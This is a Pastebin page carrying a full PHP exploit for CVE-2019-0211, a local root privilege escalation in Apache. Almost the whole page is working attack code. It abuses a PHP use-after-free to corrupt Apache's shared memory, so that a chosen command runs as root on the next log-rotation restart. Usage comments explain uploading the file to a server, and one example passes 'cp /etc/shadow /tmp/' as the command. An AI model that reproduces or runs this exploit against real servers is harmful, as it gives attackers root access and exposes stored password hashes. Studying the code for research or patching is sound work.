cdw1p

CVE-2019-0211-apache

Jul 2nd, 2019
501
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 22.94 KB | None | 0 0
  1. <?php
  2. # CARPE (DIEM): CVE-2019-0211 Apache Root Privilege Escalation
  3. # Charles Fol
  4. # @cfreal_
  5. # 2019-04-08
  6. #
  7. # INFOS
  8. #
  9. # https://cfreal.github.io/carpe-diem-cve-2019-0211-apache-local-root.html
  10. #
  11. # USAGE
  12. #
  13. # 1. Upload exploit to Apache HTTP server
  14. # 2. Send request to page
  15. # 3. Await 6:25AM for logrotate to restart Apache
  16. # 4. python3.5 is now suid 0
  17. #
  18. # You can change the command that is ran as root using the cmd HTTP
  19. # parameter (GET/POST).
  20. # Example: curl http://localhost/carpediem.php?cmd=cp+/etc/shadow+/tmp/
  21. #
  22. # SUCCESS RATE
  23. #
  24. # Number of successful and failed exploitations relative to of the number
  25. # of MPM workers (i.e. Apache subprocesses). YMMV.
  26. #
  27. # W  --% S   F
  28. #  5 87% 177 26 (default)
  29. #  8 89%  60  8
  30. # 10 95%  70  4
  31. #
  32. # More workers, higher success rate.
  33. # By default (5 workers), 87% success rate. With huge HTTPds, close to 100%.
  34. # Generally, failure is due to all_buckets being relocated too far from its
  35. # original address.
  36. #
  37. # TESTED ON
  38. #
  39. # - Apache/2.4.25
  40. # - PHP 7.2.12
  41. # - Debian GNU/Linux 9.6
  42. #
  43. # TESTING
  44. #
  45. # $ curl http://localhost/cfreal-carpediem.php
  46. # $ sudo /usr/sbin/logrotate /etc/logrotate.conf --force
  47. # $ ls -alh /usr/bin/python3.5
  48. # -rwsr-sr-x 2 root root 4.6M Sep 27  2018 /usr/bin/python3.5
  49. #
  50. # There are no hardcoded addresses.
  51. # - Addresses read through /proc/self/mem
  52. # - Offsets read through ELF parsing
  53. #
  54. # As usual, there are tons of comments.
  55. #
  56.  
  57.  
  58. o('CARPE (DIEM) ~ CVE-2019-0211');
  59. o('');
  60.  
  61. error_reporting(E_ALL);
  62.  
  63.  
  64. # Starts the exploit by triggering the UAF.
  65. function real()
  66. {
  67.     global $y;
  68.     $y = [new Z()];
  69.     json_encode([0 => &$y]);
  70. }
  71.  
  72. # In order to read/write what comes after in memory, we need to UAF a string so
  73. # that we can control its size and make in-place edition.
  74. # An easy way to do that is to replace the string by a timelib_rel_time
  75. # structure of which the first bytes can be reached by the (y, m, d, h, i, s)
  76. # properties of the DateInterval object.
  77. #
  78. # Steps:
  79. # - Create a base object (Z)
  80. # - Add string property (abc) so that sizeof(abc) = sizeof(timelib_rel_time)
  81. # - Create DateInterval object ($place) meant to be unset and filled by another
  82. # - Trigger the UAF by unsetting $y[0], which is still reachable using $this
  83. # - Unset $place: at this point, if we create a new DateInterval object, it will
  84. #   replace $place in memory
  85. # - Create a string ($holder) that fills $place's timelib_rel_time structure
  86. # - Allocate a new DateInterval object: its timelib_rel_time structure will
  87. #   end up in place of abc
  88. # - Now we can control $this->abc's zend_string structure entirely using
  89. #   y, m, d etc.
  90. # - Increase abc's size so that we can read/write memory that comes after it,
  91. #   especially the shared memory block
  92. # - Find out all_buckets' position by finding a memory region that matches the
  93. #   mutex->meth structure
  94. # - Compute the bucket index required to reach the SHM and get an arbitrary
  95. #   function call
  96. # - Scan ap_scoreboard_image->parent[] to find workers' PID and replace the
  97. #   bucket
  98. class Z implements JsonSerializable
  99. {
  100.     public function jsonSerialize()
  101.     {
  102.         global $y, $addresses, $workers_pids;
  103.  
  104.         #
  105.         # Setup memory
  106.         #
  107.        o('Triggering UAF');
  108.         o('  Creating room and filling empty spaces');
  109.  
  110.         # Fill empty blocks to make sure our allocations will be contiguous
  111.         # I: Since a lot of allocations/deallocations happen before the script
  112.         # is ran, two variables instanciated at the same time might not be
  113.         # contiguous: this can be a problem for a lot of reasons.
  114.         # To avoid this, we instanciate several DateInterval objects. These
  115.         # objects will fill a lot of potentially non-contiguous memory blocks,
  116.         # ensuring we get "fresh memory" in upcoming allocations.
  117.         $contiguous = [];
  118.         for($i=0;$i<10;$i++)
  119.             $contiguous[] = new DateInterval('PT1S');
  120.  
  121.         # Create some space for our UAF blocks not to get overwritten
  122.         # I: A PHP object is a combination of a lot of structures, such as
  123.         # zval, zend_object, zend_object_handlers, zend_string, etc., which are
  124.         # all allocated, and freed when the object is destroyed.
  125.         # After the UAF is triggered on the object, all the structures that are
  126.         # used to represent it will be marked as free.
  127.         # If we create other variables afterwards, those variables might be
  128.         # allocated in the object's previous memory regions, which might pose
  129.         # problems for the rest of the exploitation.
  130.         # To avoid this, we allocate a lot of objects before the UAF, and free
  131.         # them afterwards. Since PHP's heap is LIFO, when we create other vars,
  132.         # they will take the place of those objects instead of the object we
  133.         # are triggering the UAF on. This means our object is "shielded" and
  134.         # we don't have to worry about breaking it.
  135.         $room = [];
  136.         for($i=0;$i<10;$i++)
  137.             $room[] = new Z();
  138.  
  139.         # Build string meant to fill old DateInterval's timelib_rel_time
  140.         # I: ptr2str's name is unintuitive here: we just want to allocate a
  141.         # zend_string of size 78.
  142.         $_protector = ptr2str(0, 78);
  143.  
  144.         o('  Allocating $abc and $p');
  145.  
  146.         # Create ABC
  147.         # I: This is the variable we will use to R/W memory afterwards.
  148.         # After we free the Z object, we'll make sure abc is overwritten by a
  149.         # timelib_rel_time structure under our control. The first 8*8 = 64 bytes
  150.         # of this structure can be modified easily, meaning we can change the
  151.         # size of abc. This will allow us to read/write memory after abc.
  152.         $this->abc = ptr2str(0, 79);
  153.  
  154.         # Create $p meant to protect $this's blocks
  155.         # I: Right after we trigger the UAF, we will unset $p.
  156.         # This means that the timelib_rel_time structure (TRT) of this object
  157.         # will be freed. We will then allocate a string ($protector) of the same
  158.         # size as TRT. Since PHP's heap is LIFO, the string will take the place
  159.         # of the now-freed TRT in memory.
  160.         # Then, we create a new DateInterval object ($x). From the same
  161.         # assumption, every structure constituting this new object will take the
  162.         # place of the previous structure. Nevertheless, since TRT's memory
  163.         # block has already been replaced by $protector, the new TRT will be put
  164.         # in the next free blocks of the same size, which happens to be $abc
  165.         # (remember, |abc| == |timelib_rel_time|).
  166.         # We now have the following situation: $x is a DateInterval object whose
  167.         # internal TRT structure has the same address as $abc's zend_string.
  168.         $p = new DateInterval('PT1S');
  169.  
  170.         #
  171.         # Trigger UAF
  172.         #
  173.        
  174.         o('  Unsetting both variables and setting $protector');
  175.         # UAF here, $this is usable despite being freed
  176.         unset($y[0]);
  177.         # Protect $this's freed blocks
  178.         unset($p);
  179.  
  180.         # Protect $p's timelib_rel_time structure
  181.         $protector = ".$_protector";
  182.         # !!! This is only required for apache
  183.         # Got no idea as to why there is an extra deallocation (?)
  184.         if(version_compare(PHP_VERSION, '7.2') >= 0)
  185.                     $room[] = "!$_protector";
  186.  
  187.         o('  Creating DateInterval object');
  188.         # After this line:
  189.         # &((php_interval_obj) x).timelib_rel_time == ((zval) abc).value.str
  190.         # We can control the structure of $this->abc and therefore read/write
  191.         # anything that comes after it in memory by changing its size and
  192.         # making in-place edits using $this->abc[$position] = $char
  193.         $x = new DateInterval('PT1S');
  194.         # zend_string.refcount = 0
  195.         # It will get incremented at some point, and if it is > 1,
  196.         # zend_assign_to_string_offset() will try to duplicate it before making
  197.         # the in-place replacement
  198.         $x->y = 0x00;
  199.         # zend_string.len
  200.         $x->d = 0x100;
  201.         # zend_string.val[0-4]
  202.         $x->h = 0x13121110;
  203.  
  204.         # Verify UAF was successful
  205.         # We modified stuff via $x; they should be visible by $this->abc, since
  206.         # they are at the same memory location.
  207.         if(!(
  208.             strlen($this->abc) === $x->d &&
  209.             $this->abc[0] == "\x10" &&
  210.             $this->abc[1] == "\x11" &&
  211.             $this->abc[2] == "\x12" &&
  212.             $this->abc[3] == "\x13"
  213.         ))
  214.         {
  215.             o('UAF failed, exiting.');
  216.             exit();
  217.         }
  218.         o('UAF successful.');
  219.         o('');
  220.  
  221.         # Give us some room
  222.         # I: As indicated before, just unset a lot of stuff so that next allocs
  223.         # don't break our fragile UAFd structure.
  224.         unset($room);
  225.  
  226.         #
  227.         # Setup the R/W primitive
  228.         #
  229.  
  230.         # We control $abc's internal zend_string structure, therefore we can R/W
  231.         # the shared memory block (SHM), but for that we need to know the
  232.         # position of $abc in memory
  233.         # I: We know the absolute position of the SHM, so we need to need abc's
  234.         # as well, otherwise we cannot compute the offset
  235.  
  236.         # Assuming the allocation was contiguous, memory looks like this, with
  237.         # 0x70-sized fastbins:
  238.         #   [zend_string:abc]
  239.         #   [zend_string:protector]
  240.         #   [FREE#1]
  241.         #   [FREE#2]
  242.         # Therefore, the address of the 2nd free block is in the first 8 bytes
  243.         # of the first block: 0x70 * 2 - 24
  244.         $address = str2ptr($this->abc, 0x70 * 2 - 24);
  245.         # The address we got points to FREE#2, hence we're |block| * 3 higher in
  246.         # memory
  247.         $address = $address - 0x70 * 3;
  248.         # The beginning of the string is 24 bytes after its origin
  249.         $address = $address + 24;
  250.         o('Address of $abc: 0x' . dechex($address));
  251.         o('');
  252.  
  253.         # Compute the size required for our string to include the whole SHM and
  254.         # apache's memory region
  255.         $distance =
  256.             max($addresses['apache'][1], $addresses['shm'][1]) -
  257.             $address
  258.         ;
  259.         $x->d = $distance;
  260.  
  261.         # We can now read/write in the whole SHM and apache's memory region.
  262.  
  263.         #
  264.         # Find all_buckets in memory
  265.         #
  266.  
  267.         # We are looking for a structure s.t.
  268.         # |all_buckets, mutex| = 0x10
  269.         # |mutex, meth| = 0x8
  270.         # all_buckets is in apache's memory region
  271.         # mutex is in apache's memory region
  272.         # meth is in libaprR's memory region
  273.         # meth's function pointers are in libaprX's memory region
  274.         o('Looking for all_buckets in memory');
  275.         $all_buckets = 0;
  276.  
  277.         for(
  278.             $i = $addresses['apache'][0] + 0x10;
  279.             $i < $addresses['apache'][1] - 0x08;
  280.             $i += 8
  281.         )
  282.         {
  283.             # mutex
  284.             $mutex = $pointer = str2ptr($this->abc, $i - $address);
  285.             if(!in($pointer, $addresses['apache']))
  286.                 continue;
  287.  
  288.  
  289.             # meth
  290.             $meth = $pointer = str2ptr($this->abc, $pointer + 0x8 - $address);
  291.             if(!in($pointer, $addresses['libaprR']))
  292.                 continue;
  293.  
  294.             o('  [&mutex]: 0x' . dechex($i));
  295.             o('    [mutex]: 0x' . dechex($mutex));
  296.             o('      [meth]: 0x' . dechex($meth));
  297.  
  298.  
  299.             # meth->*
  300.             # flags
  301.             if(str2ptr($this->abc, $pointer - $address) != 0)
  302.                 continue;
  303.             # methods
  304.             for($j=0;$j<7;$j++)
  305.             {
  306.                 $m = str2ptr($this->abc, $pointer + 0x8 + $j * 8 - $address);
  307.                 if(!in($m, $addresses['libaprX']))
  308.                     continue 2;
  309.                 o('        [*]: 0x' . dechex($m));
  310.             }
  311.  
  312.             $all_buckets = $i - 0x10;
  313.             o('all_buckets = 0x' . dechex($all_buckets));
  314.             break;
  315.         }
  316.  
  317.         if(!$all_buckets)
  318.         {
  319.             o('Unable to find all_buckets');
  320.             exit();
  321.         }
  322.  
  323.         o('');
  324.  
  325.         # The address of all_buckets will change when apache is gracefully
  326.         # restarted. This is a problem because we need to know all_buckets's
  327.         # address in order to make all_buckets[some_index] point to a memory
  328.         # region we control.
  329.  
  330.         #
  331.         # Compute potential bucket indexes and their addresses
  332.         #
  333.  
  334.         o('Computing potential bucket indexes and addresses');
  335.  
  336.         # Since we have sizeof($workers_pid) MPM workers, we can fill the rest
  337.         # of the ap_score_image->servers items, so 256 - sizeof($workers_pids),
  338.         # with data we like. We keep the one at the top to store our payload.
  339.         # The rest is sprayed with the address of our payload.
  340.  
  341.         $size_prefork_child_bucket = 24;
  342.         $size_worker_score = 264;
  343.         # I get strange errors if I use every "free" item, so I leave twice as
  344.         # many items free. I'm guessing upon startup some
  345.         $spray_size = $size_worker_score * (256 - sizeof($workers_pids) * 2);
  346.         $spray_max = $addresses['shm'][1];
  347.         $spray_min = $spray_max - $spray_size;
  348.  
  349.         $spray_middle = (int) (($spray_min + $spray_max) / 2);
  350.         $bucket_index_middle = (int) (
  351.             - ($all_buckets - $spray_middle) /
  352.             $size_prefork_child_bucket
  353.         );
  354.  
  355.         #
  356.         # Build payload
  357.         #
  358.  
  359.         # A worker_score structure was kept empty to put our payload in
  360.         $payload_start = $spray_min - $size_worker_score;
  361.  
  362.         $z = ptr2str(0);
  363.  
  364.         # Payload maxsize 264 - 112 = 152
  365.         # Offset 8 cannot be 0, but other than this you can type whatever
  366.         # command you want
  367.         $bucket = isset($_REQUEST['cmd']) ?
  368.             $_REQUEST['cmd'] :
  369.             "chmod +s /usr/bin/python3.5";
  370.  
  371.         if(strlen($bucket) > $size_worker_score - 112)
  372.         {
  373.             o(
  374.                 'Payload size is bigger than available space (' .
  375.                 ($size_worker_score - 112) .
  376.                 '), exiting.'
  377.             );
  378.             exit();
  379.         }
  380.         # Align
  381.         $bucket = str_pad($bucket, $size_worker_score - 112, "\x00");
  382.  
  383.         # apr_proc_mutex_unix_lock_methods_t
  384.         $meth =
  385.             $z .
  386.             $z .
  387.             $z .
  388.             $z .
  389.             $z .
  390.             $z .
  391.             # child_init
  392.             ptr2str($addresses['zend_object_std_dtor'])
  393.         ;
  394.  
  395.         # The second pointer points to meth, and is used before reaching the
  396.         # arbitrary function call
  397.         # The third one and the last one are both used by the function call
  398.         # zend_object_std_dtor(object) => ... => system(&arData[0]->val)
  399.         $properties =
  400.             # refcount
  401.             ptr2str(1) .
  402.             # u-nTableMask meth
  403.             ptr2str($payload_start + strlen($bucket)) .
  404.             # Bucket arData
  405.             ptr2str($payload_start) .
  406.             # uint32_t nNumUsed;
  407.             ptr2str(1, 4) .
  408.             # uint32_t nNumOfElements;
  409.             ptr2str(0, 4) .
  410.             # uint32_t nTableSize
  411.             ptr2str(0, 4) .
  412.             # uint32_t nInternalPointer
  413.             ptr2str(0, 4) .
  414.             # zend_long nNextFreeElement
  415.             $z .
  416.             # dtor_func_t pDestructor
  417.             ptr2str($addresses['system'])
  418.         ;
  419.  
  420.         $payload =
  421.             $bucket .
  422.             $meth .
  423.             $properties
  424.         ;
  425.  
  426.         # Write the payload
  427.  
  428.         o('Placing payload at address 0x' . dechex($payload_start));
  429.  
  430.         $p = $payload_start - $address;
  431.         for(
  432.             $i = 0;
  433.             $i < strlen($payload);
  434.             $i++
  435.         )
  436.         {
  437.             $this->abc[$p+$i] = $payload[$i];
  438.         }
  439.  
  440.         # Fill the spray area with a pointer to properties
  441.        
  442.         $properties_address = $payload_start + strlen($bucket) + strlen($meth);
  443.         o('Spraying pointer');
  444.         o('  Address: 0x' . dechex($properties_address));
  445.         o('  From: 0x' . dechex($spray_min));
  446.         o('  To: 0x' . dechex($spray_max));
  447.         o('  Size: 0x' . dechex($spray_size));
  448.         o('  Covered: 0x' . dechex($spray_size * count($workers_pids)));
  449.         o('  Apache: 0x' . dechex(
  450.             $addresses['apache'][1] -
  451.             $addresses['apache'][0]
  452.         ));
  453.  
  454.         $s_properties_address = ptr2str($properties_address);
  455.  
  456.         for(
  457.             $i = $spray_min;
  458.             $i < $spray_max;
  459.             $i++
  460.         )
  461.         {
  462.             $this->abc[$i - $address] = $s_properties_address[$i % 8];
  463.         }
  464.         o('');
  465.  
  466.         # Find workers PID in the SHM: it indicates the beginning of their
  467.         # process_score structure. We can then change process_score.bucket to
  468.         # the index we computed. When apache reboots, it will use
  469.         # all_buckets[ap_scoreboard_image->parent[i]->bucket]->mutex
  470.         # which means we control the whole apr_proc_mutex_t structure.
  471.         # This structure contains pointers to multiple functions, especially
  472.         # mutex->meth->child_init(), which will be called before privileges
  473.         # are dropped.
  474.         # We do this for every worker PID, incrementing the bucket index so that
  475.         # we cover a bigger range.
  476.        
  477.         o('Iterating in SHM to find PIDs...');
  478.  
  479.         # Number of bucket indexes covered by our spray
  480.         $spray_nb_buckets = (int) ($spray_size / $size_prefork_child_bucket);
  481.         # Number of bucket indexes covered by our spray and the PS structures
  482.         $total_nb_buckets = $spray_nb_buckets * count($workers_pids);
  483.         # First bucket index to handle
  484.         $bucket_index = $bucket_index_middle - (int) ($total_nb_buckets / 2);
  485.  
  486.         # Iterate over every process_score structure until we find every PID or
  487.         # we reach the end of the SHM
  488.         for(
  489.             $p = $addresses['shm'][0] + 0x20;
  490.             $p < $addresses['shm'][1] && count($workers_pids) > 0;
  491.             $p += 0x24
  492.         )
  493.         {
  494.             $l = $p - $address;
  495.             $current_pid = str2ptr($this->abc, $l, 4);
  496.             o('Got PID: ' . $current_pid);
  497.             # The PID matches one of the workers
  498.             if(in_array($current_pid, $workers_pids))
  499.             {
  500.                 unset($workers_pids[$current_pid]);
  501.                 o('  PID matches');
  502.                 # Update bucket address
  503.                 $s_bucket_index = pack('l', $bucket_index);
  504.                 $this->abc[$l + 0x20] = $s_bucket_index[0];
  505.                 $this->abc[$l + 0x21] = $s_bucket_index[1];
  506.                 $this->abc[$l + 0x22] = $s_bucket_index[2];
  507.                 $this->abc[$l + 0x23] = $s_bucket_index[3];
  508.                 o('  Changed bucket value to ' . $bucket_index);
  509.                 $min = $spray_min - $size_prefork_child_bucket * $bucket_index;
  510.                 $max = $spray_max - $size_prefork_child_bucket * $bucket_index;
  511.                 o('  Ranges: 0x' . dechex($min) . ' - 0x' . dechex($max));
  512.                 # This bucket range is covered, go to the next one
  513.                 $bucket_index += $spray_nb_buckets;
  514.             }
  515.         }
  516.  
  517.         if(count($workers_pids) > 0)
  518.         {
  519.             o(
  520.                 'Unable to find PIDs ' .
  521.                 implode(', ', $workers_pids) .
  522.                 ' in SHM, exiting.'
  523.             );
  524.             exit();
  525.         }
  526.  
  527.         o('');
  528.         o('EXPLOIT SUCCESSFUL.');
  529.         o('Await 6:25AM.');
  530.        
  531.         return 0;
  532.     }
  533. }
  534.  
  535. function o($msg)
  536. {
  537.     # No concatenation -> no string allocation
  538.     print($msg);
  539.     print("\n");
  540. }
  541.  
  542. function ptr2str($ptr, $m=8)
  543. {
  544.     $out = "";
  545.     for ($i=0; $i<$m; $i++)
  546.     {
  547.         $out .= chr($ptr & 0xff);
  548.         $ptr >>= 8;
  549.     }
  550.     return $out;
  551. }
  552.  
  553. function str2ptr(&$str, $p, $s=8)
  554. {
  555.     $address = 0;
  556.     for($j=$s-1;$j>=0;$j--)
  557.     {
  558.         $address <<= 8;
  559.         $address |= ord($str[$p+$j]);
  560.     }
  561.     return $address;
  562. }
  563.  
  564. function in($i, $range)
  565. {
  566.     return $i >= $range[0] && $i < $range[1];
  567. }
  568.  
  569. /**
  570.  * Finds the offset of a symbol in a file.
  571.  */
  572. function find_symbol($file, $symbol)
  573. {
  574.     $elf = file_get_contents($file);
  575.     $e_shoff = str2ptr($elf, 0x28);
  576.     $e_shentsize = str2ptr($elf, 0x3a, 2);
  577.     $e_shnum = str2ptr($elf, 0x3c, 2);
  578.  
  579.     $dynsym_off = 0;
  580.     $dynsym_sz = 0;
  581.     $dynstr_off = 0;
  582.  
  583.     for($i=0;$i<$e_shnum;$i++)
  584.     {
  585.         $offset = $e_shoff + $i * $e_shentsize;
  586.         $sh_type = str2ptr($elf, $offset + 0x04, 4);
  587.  
  588.         $SHT_DYNSYM = 11;
  589.         $SHT_SYMTAB = 2;
  590.         $SHT_STRTAB = 3;
  591.  
  592.         switch($sh_type)
  593.         {
  594.             case $SHT_DYNSYM:
  595.                 $dynsym_off = str2ptr($elf, $offset + 0x18, 8);
  596.                 $dynsym_sz = str2ptr($elf, $offset + 0x20, 8);
  597.                 break;
  598.             case $SHT_STRTAB:
  599.             case $SHT_SYMTAB:
  600.                 if(!$dynstr_off)
  601.                     $dynstr_off = str2ptr($elf, $offset + 0x18, 8);
  602.                 break;
  603.         }
  604.  
  605.     }
  606.  
  607.     if(!($dynsym_off && $dynsym_sz && $dynstr_off))
  608.         exit('.');
  609.  
  610.     $sizeof_Elf64_Sym = 0x18;
  611.  
  612.     for($i=0;$i * $sizeof_Elf64_Sym < $dynsym_sz;$i++)
  613.     {
  614.         $offset = $dynsym_off + $i * $sizeof_Elf64_Sym;
  615.         $st_name = str2ptr($elf, $offset, 4);
  616.        
  617.         if(!$st_name)
  618.             continue;
  619.        
  620.         $offset_string = $dynstr_off + $st_name;
  621.         $end = strpos($elf, "\x00", $offset_string) - $offset_string;
  622.         $string = substr($elf, $offset_string, $end);
  623.  
  624.         if($string == $symbol)
  625.         {
  626.             $st_value = str2ptr($elf, $offset + 0x8, 8);
  627.             return $st_value;
  628.         }
  629.     }
  630.  
  631.     die('Unable to find symbol ' . $symbol);
  632. }
  633.  
  634. # Obtains the addresses of the shared memory block and some functions through
  635. # /proc/self/maps
  636. # This is hacky as hell.
  637. function get_all_addresses()
  638. {
  639.     $addresses = [];
  640.     $data = file_get_contents('/proc/self/maps');
  641.     $follows_shm = false;
  642.  
  643.     foreach(explode("\n", $data) as $line)
  644.     {
  645.         if(!isset($addresses['shm']) && strpos($line, '/dev/zero'))
  646.         {
  647.             $line = explode(' ', $line)[0];
  648.             $bounds = array_map('hexdec', explode('-', $line));
  649.         $msize = $bounds[1] - $bounds[0];
  650.             if ($msize >= 0x10000 && $msize <= 0x16000)
  651.             {
  652.                 $addresses['shm'] = $bounds;
  653.                 $follows_shm = true;
  654.             }
  655.         }
  656.         if(
  657.             preg_match('#(/[^\s]+libc-[0-9.]+.so[^\s]*)#', $line, $matches) &&
  658.             strpos($line, 'r-xp')
  659.         )
  660.         {
  661.             $offset = find_symbol($matches[1], 'system');
  662.             $line = explode(' ', $line)[0];
  663.             $line = hexdec(explode('-', $line)[0]);
  664.             $addresses['system'] = $line + $offset;
  665.         }
  666.         if(
  667.             strpos($line, 'libapr-1.so') &&
  668.             strpos($line, 'r-xp')
  669.         )
  670.         {
  671.             $line = explode(' ', $line)[0];
  672.             $bounds = array_map('hexdec', explode('-', $line));
  673.             $addresses['libaprX'] = $bounds;
  674.         }
  675.         if(
  676.             strpos($line, 'libapr-1.so') &&
  677.             strpos($line, 'r--p')
  678.         )
  679.         {
  680.             $line = explode(' ', $line)[0];
  681.             $bounds = array_map('hexdec', explode('-', $line));
  682.             $addresses['libaprR'] = $bounds;
  683.         }
  684.         # Apache's memory block is between the SHM and ld.so
  685.         # Sometimes some rwx region gets mapped; all_buckets cannot be in there
  686.         # but we include it anyways for the sake of simplicity
  687.         if(
  688.             (
  689.                 strpos($line, 'rw-p') ||
  690.                 strpos($line, 'rwxp')
  691.             ) &&
  692.             $follows_shm
  693.         )
  694.         {
  695.             if(strpos($line, '/lib'))
  696.             {
  697.                 $follows_shm = false;
  698.                 continue;
  699.             }
  700.             $line = explode(' ', $line)[0];
  701.             $bounds = array_map('hexdec', explode('-', $line));
  702.             if(!array_key_exists('apache', $addresses))
  703.                 $addresses['apache'] = $bounds;
  704.             else if($addresses['apache'][1] == $bounds[0])
  705.                 $addresses['apache'][1] = $bounds[1];
  706.             else
  707.                 $follows_shm = false;
  708.         }
  709.         if(
  710.             preg_match('#(/[^\s]+libphp7[0-9.]+.so[^\s]*)#', $line, $matches) &&
  711.             strpos($line, 'r-xp')
  712.         )
  713.         {
  714.             $offset = find_symbol($matches[1], 'zend_object_std_dtor');
  715.             $line = explode(' ', $line)[0];
  716.             $line = hexdec(explode('-', $line)[0]);
  717.             $addresses['zend_object_std_dtor'] = $line + $offset;
  718.         }
  719.     }
  720.  
  721.     $expected = [
  722.         'shm', 'system', 'libaprR', 'libaprX', 'apache', 'zend_object_std_dtor'
  723.     ];
  724.     $missing = array_diff($expected, array_keys($addresses));
  725.  
  726.     if($missing)
  727.     {
  728.         o(
  729.             'The following addresses were not determined by parsing ' .
  730.             '/proc/self/maps: ' . implode(', ', $missing)
  731.         );
  732.         exit(0);
  733.     }
  734.  
  735.  
  736.     o('PID: ' . getmypid());
  737.     o('Fetching addresses');
  738.  
  739.     foreach($addresses as $k => $a)
  740.     {
  741.         if(!is_array($a))
  742.             $a = [$a];
  743.         o('  ' . $k . ': ' . implode('-0x', array_map(function($z) {
  744.                 return '0x' . dechex($z);
  745.         }, $a)));
  746.     }
  747.     o('');
  748.  
  749.     return $addresses;
  750. }
  751.  
  752. # Extracts PIDs of apache workers using /proc/*/cmdline and /proc/*/status,
  753. # matching the cmdline and the UID
  754. function get_workers_pids()
  755. {
  756.     o('Obtaining apache workers PIDs');
  757.     $pids = [];
  758.     $cmd = file_get_contents('/proc/self/cmdline');
  759.     $processes = glob('/proc/*');
  760.     foreach($processes as $process)
  761.     {
  762.         if(!preg_match('#^/proc/([0-9]+)$#', $process, $match))
  763.             continue;
  764.         $pid = (int) $match[1];
  765.         if(
  766.             !is_readable($process . '/cmdline') ||
  767.             !is_readable($process . '/status')
  768.         )
  769.             continue;
  770.         if($cmd !== file_get_contents($process . '/cmdline'))
  771.             continue;
  772.  
  773.         $status = file_get_contents($process . '/status');
  774.         foreach(explode("\n", $status) as $line)
  775.         {
  776.             if(
  777.                 strpos($line, 'Uid:') === 0 &&
  778.                 preg_match('#\b' . posix_getuid() . '\b#', $line)
  779.             )
  780.             {
  781.                 o('  Found apache worker: ' . $pid);
  782.                 $pids[$pid] = $pid;
  783.                 break;
  784.             }
  785.  
  786.         }
  787.     }
  788.    
  789.     o('Got ' . sizeof($pids) . ' PIDs.');
  790.     o('');
  791.  
  792.     return $pids;
  793. }
  794.  
  795. $addresses = get_all_addresses();
  796. $workers_pids = get_workers_pids();
  797. real();
Advertisement
Add Comment
Please, Sign In to add comment